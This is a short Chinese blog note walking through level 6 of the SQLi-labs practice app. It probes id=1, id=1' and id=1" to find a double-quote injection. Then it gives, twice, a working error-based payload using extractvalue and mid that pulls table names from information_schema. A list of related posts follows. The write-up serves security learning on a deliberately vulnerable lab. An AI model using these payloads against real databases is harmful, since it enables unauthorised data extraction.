sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
暗然而日章2 小时前
C++基础:Stanford CS106L学习笔记 9 类模板(Class Templates)
c++·笔记·学习
m0_689618282 小时前
拓扑变换让机器人抓得又稳、又柔、又灵活
人工智能·笔记·学习·机器人
代码游侠2 小时前
学习笔记——Linux内核链表
linux·运维·笔记·学习·算法·链表
sheeta19982 小时前
LeetCode 每日一题笔记 日期:2025.12.14 题目:2147.分隔长廊的方案数
linux·笔记·leetcode
阿蒙Amon2 小时前
JavaScript学习笔记:8.日期和时间
javascript·笔记·学习
暗然而日章2 小时前
C++基础:Stanford CS106L学习笔记 10 函数模板(Function Templates)
c++·笔记·学习
swan4162 小时前
SCAU期末笔记 - 实时计算框架章末实验
笔记
zyq~2 小时前
【课堂笔记】统计
笔记·概率论
蒙奇D索大2 小时前
【数据结构】考研408|从B树到B+树:多路平衡的优化形态与数据库索引基石
数据结构·笔记·b树·学习·考研
不会代码的小猴2 小时前
C++的第十五天笔记
数据结构·c++·笔记